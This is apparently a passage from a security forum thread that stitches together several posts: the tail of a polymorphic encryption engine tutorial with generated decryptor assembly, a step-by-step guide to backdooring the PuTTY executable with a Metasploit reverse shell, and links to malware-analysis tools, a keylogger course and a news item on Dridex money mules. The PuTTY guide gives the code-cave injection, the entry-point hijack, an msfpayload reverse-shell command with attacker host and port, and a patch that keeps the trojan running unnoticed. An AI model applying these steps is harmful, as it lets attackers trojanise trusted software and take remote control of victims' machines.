lpDecryptionProc = reinterpret_cast<DecryptionProc>(lpcDecryptionProc); // the output buffer for the decrypted data char szOutputBuffer[128] = { 0xCC }; // call the decryption function via its // function pointer DWORD dwOutputSize = lpDecryptionProc(szOutputBuffer); // display the decrypted text - if everything // went correctly this will show "Hello world!" printf(szOutputBuffer); return 0; } What does the generated code look like? The generated code will look different each time. This is the main goal of a polymorphic engine, after all! I have included two different decryption functions below, both generated by our engine from the same input data. Listing 18.Decryption function. ; beginning of decryption function (prologue) enter 0, 0 ; save sensitive registers (stdcall) push esi push ebx push edi ; get the parameter passed to this function mov ecx, [ebp+8] call delta_offset ; unused instructions xor eax, eax leave retn 4 delta_offset: ; EBX will contain the address of the label delta_offset mov ebx, [esp] add esp, 4 ; correct the address so that it points to the ; encrypted data add ebx, 51h ; set up the decryption key mov edx, 918D3D1Bh add edx, 78170F2Ah ; number of blocks to decrypt mov eax, 4 decryption_loop: ; take one block of encrypted data mov esi, [ebx] ; decryption instructions (random) xor esi, 138E6781h sub esi, edx not esi xor esi, edx ; write the decrypted block to the output buffer mov [ecx], esi add ebx, 4 add ecx, 4 dec eax jnz short decryption_loop ; set up values returned by the function ; namely the size of the decrypted data mov eax, 0Dh ; function epilogue and return to caller pop edi pop ebx pop esi leave retn 4 ; align function to 16 byte boundary (using NOP instructions) db 5 dup(90h) ; encrypted data db 0B6h, 044h, 052h, 0B0h, 09Bh, 087h, 05Eh, 0B1h db 08Ch, 04Bh, 06Ah, 0F3h, 07Eh, 0ACh, 0B5h, 057h What next? Our polymorphic engine is pretty simple at the moment. We could add additional features, such as: generating spurious instructions, known as junks – these are simply blocks of code which make the code more difficult to analyze in a debugger or disassembler generating white noise – that is, instructions which don't affect the operation of the function (e.g. adding a value to a random register and then taking it away again) generating equivalent instructions (code mutations) in various forms, joined by random comparisons and jumps generating additional helper functions, e.g. returning values which were originally put in place by code in the main decryption function changes to the calling convention used, e.g. using cdecl instead of stdcall adding jumps to the code so the instructions are not executed linearly and, most advanced – multilayer encryption, that is, generated code which in turn contains another layer of decryptor This can all be taken quite a long way, especially making use of a library like AsmJit, which greatly simplifies the dynamic generation of assembly code, including the use of all current extensions of x86 and x64 processors. sursa:https://www.pelock.com/articles/polymorphic-encryption-algorithms

a avut noroc de un shellcode ce si-a creat propriul thread si a rulat fara sa deranjeze programul principal, ca putea sa astepte mult si bine pana ii aparea fereastra de la putty

Introduction: Portable Executable (PE) files are very commonly used today. Many people download these files from the internet or get it from a friend and run it on their systems without realizing the dangers involved in running these kind of files. It is very easy to add malicious code to these files and have it executed on the victim’s machine without the victim’s knowledge. Objective: In this article, we would be looking at how to backdoor a Windows executable file. We will be using the popular putty executable and backdoor it with a reverse shell. The Objective is to ensure that the modified putty executable gives a reverse shell back to the attacker’s machine and at the same time continues to function normally without any issues. We would not be using any kind of automated tools to backdoor this putty executable. However, we will be doing this manually to understand how this entire process works. Limitations: To follow the steps in this article, it is important to have basic knowledge of assembly language and a general familiarity with a Debugger (we will be using Immunity in this case) and its usage. Analysis: 1) We will be injecting our malicious reverse shellcode into the putty executable. To do this first, we need to add the malicious code to the putty executable. This code can be placed directly in the executable (provided there is enough space) via a debugger otherwise; we can use a PE Editor tool (like Lord PE) to add a new section to the putty executable which can be used to place our shellcode in the binary. I will be using the PE Editor tool to add a new section to the executable 2) We will open up the putty executable in the Lord PE tool and add a new section header to it. After adding a new section header, we will select the New Section header (NewSec) and hit the edit section header option. At this point, we will add 1000 bytes to the Virtual Size and the Raw Size of the executable. Also, we will click on the flags options and ensure that this newly added section is marked as “Executable as code.” We will save the changes made to the putty executable. 2) Now if we try to launch the executable, we will get an error telling us that this executable is not a valid binary file. Rightly so, since we have added a new section to the binary and left it empty. So now we will use a hex-editor to add the extra 1000 bytes to the binary. We will open the executable file in a hex editor (like XVI32) and insert a hex string of 1000 \x90 instructions at the end of the file. We will save the file and verify that the putty executable is now working fine. 3) Now that we have added extra space for our code. It is time to add our malicious reverse shellcode in this space. Before we do this, we have to hijack the entry point of the program and then redirect the execution of the putty executable to the newly added space which holds the shellcode and after executing the shellcode, we will redirect the flow back to the normal execution of the program. The Below diagram will give a clear picture of what we intend to do: 4) So let us start by hijacking the entry point of the program. At this point, we will load the putty executable in the immunity debugger and make a note of the entry points of the program. The entry point instructions of the putty executable are:- 004550F0 > $ 6A 60 PUSH 60 004550F2 . 68 08814700 PUSH putty.00478108 004550F7 . E8 08210000 CALL putty.00457204 004550FC . BF 94000000 MOV EDI,94 00455101 . 8BC7 MOV EAX,EDI We will hijack the entry point by overwriting the third instruction with a redirection to our malicious code. 5) Next, we have to search for the address of our newly added section (which will hold the malicious code) in the putty executable file. To do this simply hit the “M” tab at the top in immunity debugger. This will open up the memory map of the program where the name and the address of the newly added section can be viewed. In my case, the newly added section starts at this address: 00485BB0 6) So now we proceed to hijack the entry point of the program by overwriting the third instruction with a JMP instruction to the address of the newly added section. (i.e.,. 00485BB0). We will refer to this newly added section as the Code-Cave (since it will hold our malicious code) After having made the changes, we will select the changes we have made and do a right click and select the option to Copy to Executable. Then save this file and rename it as Putty01.exe 7) We now open this new file Putty01.exe in the debugger and then step through (by pressing the F7 button) the initial instructions and then take a JMP to the code cave. 8) From this point onwards we are free to write our code in the putty executable. Before we start writing our shellcode, we will have to save the current state of registers and flags. We can do this with the following two instructions: PUSHAD PUSHFD Also, we have to make a note of the Address of the ESP Register since we would have to realign the position of the ESP register back to this original address after writing the shellcode. The value of the ESP at the time of saving the registers and flags is 0012FFA0. 9) The Next step will be to create a Metasploit generated shellcode. This shellcode should be in hex format so we can copy it to the debugger directly. I have used the following command to generate the shellcode: msfpayload windows/shell_reverse_tcp LHOST=192.168.11.151 LPORT=443 EXITFUNC=seh R | hexdump -C | sed ‘$d’ | cut -d’ ‘ -f3-19 | tr -d ‘ ‘ | tr -d ‘\n’ We copy this Metasploit generated shellcode and paste it directly after the register saving instructions in the immunity debugger. Make sure you select a large number of NOP instruction to ensure that entire shellcode is pasted properly, and no part is missing. 10) Now that we have pasted the shellcode let us go ahead and select all the changes we have made to the binary and copy it to an executable. Then save the file and rename it as Putty02.exe 11) Now let us open the putty executable and step through the instructions (by pressing F7) and let us place a breakpoint (by pressing F2) at the NOP instruction after the end of the shellcode. At this breakpoint make a note of the address of the ESP Register. In my case, the value of the ESP Register is 0012FDA8. We have to restore the value of ESP to its original state which is 0012FFA0. Hence, we subtract the current value of ESP with its original value. (i.e.,. 0012FFA0-0012FDA8=1F8). This means that this value 1F8 when added to the current register 0012FDA8 will reset it to 0012FFA0 thus restoring ESP back to its original address. We will add 1F8 to the ESP register to restore it back to its original state. ADD ESP,1F8. 12) Now we will have to restore back the current state of registers and flags which we had saved earlier. We will use the following instructions to do this:- POPFD POPAD After this, we will redirect the control flow of the program to its normal execution. We will call the instruction which we had overwritten and then JMP to the next instruction. CALL 00457204 JMP 004550FC This will ensure that the normal flow of the program continues and the putty executable opens without any issues. 13) Now we can again select all the changes we have made and copy them to Executable. Then save the file and rename it as Putty03.exe. Now if we set up a listener and launch the program, we will be able to get the reverse shell connection back from the putty executable. However, the putty executable file never launches. In fact only after we exit from the reverse shell, the putty executable opens up. This obviously is not an ideal scenario for any attack to be successful. 14) If we further examine the reverse shellcode carefully, we would notice that the program stops execution on the “WaitforSingleObject” method. This is because the Metasploit generated shellcode passes an argument of “-1” to this method which effectively tells the putty executable to stop the execution till the reverse shell is not terminated. What we have to do to avoid this is to find the instruction which passes the “-1” argument and change its value. In my case, the DEC ESI, PUSH ESI, and INC ESI instructions are responsible for passing the “-1” argument. What this instruction set does is that it decreases ESI from 00000000 (0) to FFFFFFFF (-1) then pushes it, essentially a PUSH -1 instruction, and increases it back to 00000000 (0) To ensure that the “-1” argument is not passed, I had to simply convert the instructions “DEC ESI” & “INC ESI” to “NOP” and then select all the changes made and copy them to executables. Then save the file and rename it as Putty04.exe 15) Now we can launch the Putty executable and set up a listener and successfully catch the reverse shell without any issues. Conclusion: We can see that back-dooring PE Executable on Windows is not a very challenging task. Hence, it is highly advisable to avoid running executable from unknown sources without properly verifying what it is doing Sursa: http://resources.infosecinstitute.com/back-dooring-pe-files-windows/

______ _ ________ _ _ ______ _______ _ _ _____ | ____/\ | |/ / ____| \ | | ____|__ __| | \ | |/ ____| | |__ / \ | ' /| |__ | \| | |__ | |______| \| | | __ | __/ /\ \ | < | __| | . ` | __| | |______| . ` | | |_ | | | / ____ \| . \| |____| |\ | |____ | | | |\ | |__| | |_|/_/ \_\_|\_\______|_| \_|______| |_| |_| \_|\_____| D O C U M E N T A T I O N FakeNet-NG is a next generation dynamic network analysis tool for malware analysts and penetration testers. It is open source and designed for the latest versions of Windows. FakeNet-NG is based on the excellent Fakenet tool developed by Andrew Honig and Michael Sikorski. The tool allows you to intercept and redirect all or specific network traffic while simulating legitimate network services. Using FakeNet-NG, malware analysts can quickly identify malware's functionality and capture network signatures. Penetration testers and bug hunters will find FakeNet-NG's configurable interception engine and modular framework highly useful when testing application's specific functionality and prototyping PoCs. Download & Usage: https://github.com/fireeye/flare-fakenet-ng

A Crash Course in x86 Assembly for Reverse Engineers https://sensepost.com/blogstatic/2014/01/SensePost_crash_course_in_x86_assembly-.pdf

La capatul acestui mini challenge va asteapta posibilitatea obtinerii unui loc de munca. Va urez mult succes! 1Decembrie2016.jpg > SHA-1: C0BBBAC269A7C60DB1A3C6916D9DD4C74E9CFA74

Public penetration testing reports Curated list of public penetration test reports released by several consulting firms and academic security groups. https://github.com/juliocesarfort/public-pentesting-reports

https://spider2039.files.wordpress.com/2010/06/addison-wesley-windows-system-programming-4ed-mtshart2010.pdf

The idea of these series of tutorials is updating our original reversing course but using IDA PRO. Learning how to use it from scratch and work with the last Windows versions. In this case, I’m using Windows 10 Anniversary Update 64 bits with all the patches until October 29, 2016. WHY IDA PRO? Because while OllyDBG is just a 32 bit debugger in Windows User Mode, IDA PRO is a whole reversing tool that can be used in 32/64bits as a disassembler and debugger. It permits static reversing which can’t be done in OllyDBG and who learns how to use it, in spite of having a more complex learning curve, it allows him/her to work in Windows, Linux or Mac OS X natively By Ricardo Narvaja https://twitter.com/ricnar456 Engleza: traduse de Ivinson (1-12) Download: https://drive.google.com/drive/folders/0B13TW0I0f8O2ckd2T0lsbXRoYmc Spaniola: (1-16) Download: https://drive.google.com/drive/folders/0B13TW0I0f8O2X192M3VyajRjZUk Restul partilor vor aparea pe parcurs

A curated list of awesome malware analysis tools and resources. Inspired by awesome-python and awesome-php. Awesome Malware Analysis Malware Collection Anonymizers Honeypots Malware Corpora Open Source Threat Intelligence Tools Other Resources Detection and Classification Online Scanners and Sandboxes Domain Analysis Browser Malware Documents and Shellcode File Carving Deobfuscation Debugging and Reverse Engineering Network Memory Forensics Windows Artifacts Storage and Workflow Miscellaneous Resources Books Twitter Other Related Awesome Lists Contributing Thanks Malware Collection Anonymizers Web traffic anonymizers for analysts. Anonymouse.org - A free, web based anonymizer. OpenVPN - VPN software and hosting solutions. Privoxy - An open source proxy server with some privacy features. Tor - The Onion Router, for browsing the web without leaving traces of the client IP. Honeypots Trap and collect your own samples. Conpot - ICS/SCADA honeypot. Cowrie - SSH honeypot, based on Kippo. Dionaea - Honeypot designed to trap malware. Glastopf - Web application honeypot. Honeyd - Create a virtual honeynet. HoneyDrive - Honeypot bundle Linux distro. Mnemosyne - A normalizer for honeypot data; supports Dionaea. Thug - Low interaction honeyclient, for investigating malicious websites. Malware Corpora Malware samples collected for analysis. Clean MX - Realtime database of malware and malicious domains. Contagio - A collection of recent malware samples and analyses. Exploit Database - Exploit and shellcode samples. Malshare - Large repository of malware actively scrapped from malicious sites. samples directly from a number of online sources. MalwareDB - Malware samples repository. Open Malware Project - Sample information and downloads. Formerly Offensive Computing. Ragpicker - Plugin based malware crawler with pre-analysis and reporting functionalities theZoo - Live malware samples for analysts. ViruSign - Malware database that detected by many anti malware programs except ClamAV. VirusShare - Malware repository, registration required. Zeltser's Sources - A list of malware sample sources put together by Lenny Zeltser. Zeus Source Code - Source for the Zeus trojan leaked in 2011. Open Source Threat Intelligence Tools Harvest and analyze IOCs. AbuseHelper - An open-source framework for receiving and redistributing abuse feeds and threat intel. AlienVault Open Threat Exchange - Share and collaborate in developing Threat Intelligence. Combine - Tool to gather Threat Intelligence indicators from publicly available sources. Fileintel - Pull intelligence per file hash. Hostintel - Pull intelligence per host. IntelMQ - A tool for CERTs for processing incident data using a message queue. IOC Editor - A free editor for XML IOC files. ioc_writer - Python library for working with OpenIOC objects, from Mandiant. Massive Octo Spice - Previously known as CIF (Collective Intelligence Framework). Aggregates IOCs from various lists. Curated by the CSIRT Gadgets Foundation. MISP - Malware Information Sharing Platform curated by The MISP Project. PassiveTotal - Research, connect, tag and share IPs and domains. PyIOCe - A Python OpenIOC editor. threataggregator - Aggregates security threats from a number of sources, including some of those listed below in other resources. ThreatCrowd - A search engine for threats, with graphical visualization. ThreatTracker - A Python script to monitor and generate alerts based on IOCs indexed by a set of Google Custom Search Engines. TIQ-test - Data visualization and statistical analysis of Threat Intelligence feeds. Other Resources Threat intelligence and IOC resources. Autoshun (list) - Snort plugin and blocklist. Bambenek Consulting Feeds - OSINT feeds based on malicious DGA algorithms. Fidelis Barncat - Extensive malware config database (must request access). CI Army (list) - Network security blocklists. Critical Stack- Free Intel Market - Free intel aggregator with deduplication featuring 90+ feeds and over 1.2M indicators. CRDF ThreatCenter - List of new threats detected by CRDF anti-malware. FireEye IOCs - Indicators of Compromise shared publicly by FireEye. FireHOL IP Lists - Analytics for 350+ IP lists with a focus on attacks, malware and abuse. Evolution, Changes History, Country Maps, Age of IPs listed, Retention Policy, Overlaps. hpfeeds - Honeypot feed protocol. Internet Storm Center (DShield) - Diary and searchable incident database, with a web API (unofficial Python library). malc0de - Searchable incident database. Malware Domain List - Search and share malicious URLs. OpenIOC - Framework for sharing threat intelligence. Palevo Blocklists - Botnet C&C blocklists. Proofpoint Threat Intelligence - Rulesets and more. (Formerly Emerging Threats.) STIX - Structured Threat Information eXpression - Standardized language to represent and share cyber threat information. Related efforts from MITRE: CAPEC - Common Attack Pattern Enumeration and Classification CybOX - Cyber Observables eXpression MAEC - Malware Attribute Enumeration and Characterization TAXII - Trusted Automated eXchange of Indicator Information threatRECON - Search for indicators, up to 1000 free per month. Yara rules - Yara rules repository. ZeuS Tracker - ZeuS blocklists. Detection and Classification Antivirus and other malware identification tools AnalyzePE - Wrapper for a variety of tools for reporting on Windows PE files. chkrootkit - Local Linux rootkit detection. ClamAV - Open source antivirus engine. Detect-It-Easy - A program for determining types of files. ExifTool - Read, write and edit file metadata. hashdeep - Compute digest hashes with a variety of algorithms. Loki - Host based scanner for IOCs. Malfunction - Catalog and compare malware at a function level. MASTIFF - Static analysis framework. MultiScanner - Modular file scanning/analysis framework nsrllookup - A tool for looking up hashes in NIST's National Software Reference Library database. packerid - A cross-platform Python alternative to PEiD. PEV - A multiplatform toolkit to work with PE files, providing feature-rich tools for proper analysis of suspicious binaries. Rootkit Hunter - Detect Linux rootkits. ssdeep - Compute fuzzy hashes. totalhash.py - Python script for easy searching of the TotalHash.cymru.com database. TrID - File identifier. YARA - Pattern matching tool for analysts. Yara rules generator - Generate yara rules based on a set of malware samples. Also contains a good strings DB to avoid false positives. Online Scanners and Sandboxes Web-based multi-AV scanners, and malware sandboxes for automated analysis. APK Analyzer - Free dynamic analysis of APKs. AndroTotal - Free online analysis of APKs against multiple mobile antivirus apps. AVCaesar - Malware.lu online scanner and malware repository. Cryptam - Analyze suspicious office documents. Cuckoo Sandbox - Open source, self hosted sandbox and automated analysis system. cuckoo-modified - Modified version of Cuckoo Sandbox released under the GPL. Not merged upstream due to legal concerns by the author. cuckoo-modified-api - A Python API used to control a cuckoo-modified sandbox. DeepViz - Multi-format file analyzer with machine-learning classification. detux - A sandbox developed to do traffic analysis of Linux malwares and capturing IOCs. Document Analyzer - Free dynamic analysis of DOC and PDF files. DRAKVUF - Dynamic malware analysis system. File Analyzer - Free dynamic analysis of PE files. firmware.re - Unpacks, scans and analyzes almost any firmware package. Hybrid Analysis - Online malware analysis tool, powered by VxSandbox. IRMA - An asynchronous and customizable analysis platform for suspicious files. Joe Sandbox - Deep malware analysis with Joe Sandbox. Jotti - Free online multi-AV scanner. Limon - Sandbox for Analyzing Linux Malwares Malheur - Automatic sandboxed analysis of malware behavior. Malwr - Free analysis with an online Cuckoo Sandbox instance. MASTIFF Online - Online static analysis of malware. Metadefender.com - Scan a file, hash or IP address for malware (free) NetworkTotal - A service that analyzes pcap files and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware using Suricata configured with EmergingThreats Pro. Noriben - Uses Sysinternals Procmon to collect information about malware in a sandboxed environment. PDF Examiner - Analyse suspicious PDF files. ProcDot - A graphical malware analysis tool kit. Recomposer - A helper script for safely uploading binaries to sandbox sites. SEE - Sandboxed Execution Environment (SEE) is a framework for building test automation in secured Environments. URL Analyzer - Free dynamic analysis of URL files. VirusTotal - Free online analysis of malware samples and URLs Visualize_Logs - Open source visualization library and command line tools for logs. (Cuckoo, Procmon, more to come...) Zeltser's List - Free automated sandboxes and services, compiled by Lenny Zeltser. Domain Analysis Inspect domains and IP addresses. Desenmascara.me - One click tool to retrieve as much metadata as possible for a website and to assess its good standing. Dig - Free online dig and other network tools. dnstwist - Domain name permutation engine for detecting typo squatting, phishing and corporate espionage. IPinfo - Gather information about an IP or domain by searching online resources. Machinae - OSINT tool for gathering information about URLs, IPs, or hashes. Similar to Automator. mailchecker - Cross-language temporary email detection library. MaltegoVT - Maltego transform for the VirusTotal API. Allows domain/IP research, and searching for file hashes and scan reports. SenderBase - Search for IP, domain or network owner. SpamCop - IP based spam block list. SpamHaus - Block list based on domains and IPs. Sucuri SiteCheck - Free Website Malware and Security Scanner. TekDefense Automater - OSINT tool for gathering information about URLs, IPs, or hashes. URLQuery - Free URL Scanner. Whois - DomainTools free online whois search. Zeltser's List - Free online tools for researching malicious websites, compiled by Lenny Zeltser. ZScalar Zulu - Zulu URL Risk Analyzer. Browser Malware Analyze malicious URLs. See also the domain analysis and documents and shellcode sections. Firebug - Firefox extension for web development. Java Decompiler - Decompile and inspect Java apps. Java IDX Parser - Parses Java IDX cache files. JSDetox - JavaScript malware analysis tool. jsunpack-n - A javascript unpacker that emulates browser functionality. Krakatau - Java decompiler, assembler, and disassembler. Malzilla - Analyze malicious web pages. RABCDAsm - A "Robust ActionScript Bytecode Disassembler." swftools - Tools for working with Adobe Flash files. xxxswf - A Python script for analyzing Flash files. Documents and Shellcode Analyze malicious JS and shellcode from PDFs and Office documents. See also the browser malware section. AnalyzePDF - A tool for analyzing PDFs and attempting to determine whether they are malicious. box-js - A tool for studying JavaScript malware, featuring JScript/WScript support and ActiveX emulation. diStorm - Disassembler for analyzing malicious shellcode. JS Beautifier - JavaScript unpacking and deobfuscation. JS Deobfuscator - Deobfuscate simple Javascript that use eval or document.write to conceal its code. libemu - Library and tools for x86 shellcode emulation. malpdfobj - Deconstruct malicious PDFs into a JSON representation. OfficeMalScanner - Scan for malicious traces in MS Office documents. olevba - A script for parsing OLE and OpenXML documents and extracting useful information. Origami PDF - A tool for analyzing malicious PDFs, and more. PDF Tools - pdfid, pdf-parser, and more from Didier Stevens. PDF X-Ray Lite - A PDF analysis tool, the backend-free version of PDF X-RAY. peepdf - Python tool for exploring possibly malicious PDFs. QuickSand - QuickSand is a compact C framework to analyze suspected malware documents to identify exploits in streams of different encodings and to locate and extract embedded executables. Spidermonkey - Mozilla's JavaScript engine, for debugging malicious JS. File Carving For extracting files from inside disk and memory images. bulk_extractor - Fast file carving tool. EVTXtract - Carve Windows Event Log files from raw binary data. Foremost - File carving tool designed by the US Air Force. Hachoir - A collection of Python libraries for dealing with binary files. Scalpel - Another data carving tool. Deobfuscation Reverse XOR and other code obfuscation methods. Balbuzard - A malware analysis tool for reversing obfuscation (XOR, ROL, etc) and more. de4dot - .NET deobfuscator and unpacker. ex_pe_xor & iheartxor - Two tools from Alexander Hanel for working with single-byte XOR encoded files. FLOSS - The FireEye Labs Obfuscated String Solver uses advanced static analysis techniques to automatically deobfuscate strings from malware binaries. NoMoreXOR - Guess a 256 byte XOR key using frequency analysis. PackerAttacker - A generic hidden code extractor for Windows malware. unpacker - Automated malware unpacker for Windows malware based on WinAppDbg. unxor - Guess XOR keys using known-plaintext attacks. VirtualDeobfuscator - Reverse engineering tool for virtualization wrappers. XORBruteForcer - A Python script for brute forcing single-byte XOR keys. XORSearch & XORStrings - A couple programs from Didier Stevens for finding XORed data. xortool - Guess XOR key length, as well as the key itself. Debugging and Reverse Engineering Disassemblers, debuggers, and other static and dynamic analysis tools. angr - Platform-agnostic binary analysis framework developed at UCSB's Seclab. bamfdetect - Identifies and extracts information from bots and other malware. BAP - Multiplatform and open source (MIT) binary analysis framework developed at CMU's Cylab. BARF - Multiplatform, open source Binary Analysis and Reverse engineering Framework. binnavi - Binary analysis IDE for reverse engineering based on graph visualization. Binwalk - Firmware analysis tool. Bokken - GUI for Pyew and Radare. (mirror) Capstone - Disassembly framework for binary analysis and reversing, with support for many architectures and bindings in several languages. codebro - Web based code browser using clang to provide basic code analysis. dnSpy - .NET assembly editor, decompiler and debugger. Evan's Debugger (EDB) - A modular debugger with a Qt GUI. Fibratus - Tool for exploration and tracing of the Windows kernel. FPort - Reports open TCP/IP and UDP ports in a live system and maps them to the owning application. GDB - The GNU debugger. GEF - GDB Enhanced Features, for exploiters and reverse engineers. hackers-grep - A utility to search for strings in PE executables including imports, exports, and debug symbols. IDA Pro - Windows disassembler and debugger, with a free evaluation version. Immunity Debugger - Debugger for malware analysis and more, with a Python API. ltrace - Dynamic analysis for Linux executables. objdump - Part of GNU binutils, for static analysis of Linux binaries. OllyDbg - An assembly-level debugger for Windows executables. PANDA - Platform for Architecture-Neutral Dynamic Analysis PEDA - Python Exploit Development Assistance for GDB, an enhanced display with added commands. pestudio - Perform static analysis of Windows executables. plasma - Interactive disassembler for x86/ARM/MIPS. PPEE (puppy) - A Professional PE file Explorer for reversers, malware researchers and those who want to statically inspect PE files in more detail. Process Explorer - Advanced task manager for Windows. Process Monitor - Advanced monitoring tool for Windows programs. PSTools - Windows command-line tools that help manage and investigate live systems. Pyew - Python tool for malware analysis. Radare2 - Reverse engineering framework, with debugger support. RetDec - Retargetable machine-code decompiler with an online decompilation service and API that you can use in your tools. ROPMEMU - A framework to analyze, dissect and decompile complex code-reuse attacks. SMRT - Sublime Malware Research Tool, a plugin for Sublime 3 to aid with malware analyis. strace - Dynamic analysis for Linux executables. Triton - A dynamic binary analysis (DBA) framework. Udis86 - Disassembler library and tool for x86 and x86_64. Vivisect - Python tool for malware analysis. X64dbg - An open-source x64/x32 debugger for windows. Network Analyze network interactions. Bro - Protocol analyzer that operates at incredible scale; both file and network protocols. BroYara - Use Yara rules from Bro. CapTipper - Malicious HTTP traffic explorer. chopshop - Protocol analysis and decoding framework. Fiddler - Intercepting web proxy designed for "web debugging." Hale - Botnet C&C monitor. Haka - An open source security oriented language for describing protocols and applying security policies on (live) captured traffic. INetSim - Network service emulation, useful when building a malware lab. Laika BOSS - Laika BOSS is a file-centric malware analysis and intrusion detection system. Malcom - Malware Communications Analyzer. Maltrail - A malicious traffic detection system, utilizing publicly available (black)lists containing malicious and/or generally suspicious trails and featuring an reporting and analysis interface. mitmproxy - Intercept network traffic on the fly. Moloch - IPv4 traffic capturing, indexing and database system. NetworkMiner - Network forensic analysis tool, with a free version. ngrep - Search through network traffic like grep. PcapViz - Network topology and traffic visualizer. Tcpdump - Collect network traffic. tcpick - Trach and reassemble TCP streams from network traffic. tcpxtract - Extract files from network traffic. Wireshark - The network traffic analysis tool. Memory Forensics Tools for dissecting malware in memory images or running systems. BlackLight - Windows/MacOS forensics client supporting hiberfil, pagefile, raw memory analysis DAMM - Differential Analysis of Malware in Memory, built on Volatility evolve - Web interface for the Volatility Memory Forensics Framework. FindAES - Find AES encryption keys in memory. Muninn - A script to automate portions of analysis using Volatility, and create a readable report. Rekall - Memory analysis framework, forked from Volatility in 2013. TotalRecall - Script based on Volatility for automating various malware analysis tasks. VolDiff - Run Volatility on memory images before and after malware execution, and report changes. Volatility - Advanced memory forensics framework. VolUtility - Web Interface for Volatility Memory Analysis framework. WinDbg - Live memory inspection and kernel debugging for Windows systems. Windows Artifacts AChoir - A live incident response script for gathering Windows artifacts. python-evt - Python library for parsing Windows Event Logs. python-registry - Python library for parsing registry files. RegRipper (GitHub) - Plugin-based registry analysis tool. Storage and Workflow Aleph - OpenSource Malware Analysis Pipeline System. CRITs - Collaborative Research Into Threats, a malware and threat repository. Malwarehouse - Store, tag, and search malware. Polichombr - A malware analysis platform designed to help analysts to reverse malwares collaboratively. Viper - A binary management and analysis framework for analysts and researchers. Miscellaneous al-khaser - A PoC malware with good intentions that aimes to stress anti-malware systems. Binarly - Search engine for bytes in a large corpus of malware. DC3-MWCP - The Defense Cyber Crime Center's Malware Configuration Parser framework. MalSploitBase - A database containing exploits used by malware. Pafish - Paranoid Fish, a demonstration tool that employs several techniques to detect sandboxes and analysis environments in the same way as malware families do. REMnux - Linux distribution and docker images for malware reverse engineering and analysis. Santoku Linux - Linux distribution for mobile forensics, malware analysis, and security. Resources Books Essential malware analysis reading material. Malware Analyst's Cookbook and DVD - Tools and Techniques for Fighting Malicious Code. Practical Malware Analysis - The Hands-On Guide to Dissecting Malicious Software. Real Digital Forensics - Computer Security and Incident Response The Art of Memory Forensics - Detecting Malware and Threats in Windows, Linux, and Mac Memory. The IDA Pro Book - The Unofficial Guide to the World's Most Popular Disassembler. The Rootkit Arsenal - The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System Twitter Some relevant Twitter accounts. Adamb @Hexacorn Andrew Case @attrc Binni Shah @binitamshah Claudio @botherder Dustin Webber @mephux Glenn @hiddenillusion jekil @jekil Jurriaan Bremer @skier_t Lenny Zeltser @lennyzeltser Liam Randall @hectaman Mark Schloesser @repmovsb Michael Ligh (MHL) @iMHLv2 Monnappa @monnappa22 Open Malware @OpenMalware Richard Bejtlich @taosecurity Volatility @volatility Other APT Notes - A collection of papers and notes related to Advanced Persistent Threats. File Formats posters - Nice visualization of commonly used file format (including PE & ELF). Honeynet Project - Honeypot tools, papers, and other resources. Kernel Mode - An active community devoted to malware analysis and kernel development. Malicious Software - Malware blog and resources by Lenny Zeltser. Malware Analysis Search - Custom Google search engine from Corey Harrell. Malware Analysis Tutorials - The Malware Analysis Tutorials by Dr. Xiang Fu, a great resource for learning practical malware analysis. Malware Samples and Traffic - This blog focuses on network traffic related to malware infections. Practical Malware Analysis Starter Kit - This package contains most of the software referenced in the Practical Malware Analysis book. RPISEC Malware Analysis - These are the course materials used in the Malware Analysis course at at Rensselaer Polytechnic Institute during Fall 2015. WindowsIR: Malware - Harlan Carvey's page on Malware. Windows Registry specification - Windows registry file format specification. /r/csirt_tools - Subreddit for CSIRT tools and resources, with a malware analysis flair. /r/Malware - The malware subreddit. /r/ReverseEngineering - Reverse engineering subreddit, not limited to just malware. Related Awesome Lists Android Security AppSec CTFs "Hacking" Honeypots Industrial Control System Security Incident-Response Infosec PCAP Tools Pentesting Security Threat Intelligence Sursa: https://github.com/rshipp/awesome-malware-analysis/

Build an Advanced Keylogger using C++ for Ethical Hacking! https://www.udemy.com/how-to-create-an-advanced-keylogger-from-scratch-for-windows/?couponCode=PROMOCOUPONS24 Learn and Understand C++ https://www.udemy.com/learn-c-plus-plus-from-beginner-to-advanced/?couponCode=PROMOCOUPONS24 Learn Angular 2 from Beginner to Advanced https://www.udemy.com/learn-angular-2-from-beginner-to-advanced/?couponCode=PROMOCOUPONS24

x86-64 Assembly Language Programming with Ubuntu http://www.egr.unlv.edu/~ed/assembly64.pdf

British authorities have arrested fourteen people across the country on suspicion of helping the cybercriminals behind the Dridex and Dyre malware launder ill-gotten funds. Officials believe the fourteen suspects helped launder over $13.6 million across several years. According to the NCA (UK National Crime Agency), police officers arrested 13 men and one woman in London, Daventry, and West Bromwich. The suspects are aged between 23 and 52 and include both British and foreign nationals from the Republic of Moldova and Romania. Not the malware creators, just low-level crooks These are not the creators of the Dridex or Dyre malware, but low-level crooks, known as money mules. The Dridex and Dyre malware operators use special underground forums to hire such types of criminals, who also advertise their services and sell them to the highest bidder. The Dridex and Dyre operators transfer funds from hacked bank customer accounts to the ones controlled by the crooks. The crooks then disperse these stolen funds to multiple accounts, from where gang members withdraw money via ATMs or buy expensive products, which they later resell or send to their own country, also to be resold. The money mule gangs keep part of the funds, while the Dridex and Dyre groups also get their cut. Authorities arrested Dridex money mules in October as well UK authorities said the money mule takedown involved over 160 officers and included home searches at 13 locations, which resulted in the seizure of cash, computers, smartphones, and false identity documents, all most likely used to launder the money. Authorities have not released the names of the 14 suspects just yet. A 16 seconds video from the arrest has also been posted on YouTube, but with very little details. At the start of October, British police arrested two other Moldovan citizens suspected of being money mules for Dridex operators. Earlier in the year, the UK NCA announced that for the first time in its history, cybercrime surpassed traditional crime in the UK. Sursa: http://www.bleepingcomputer.com/news/security/dridex-and-dyre-malware-gang-members-arrested-in-the-uk/

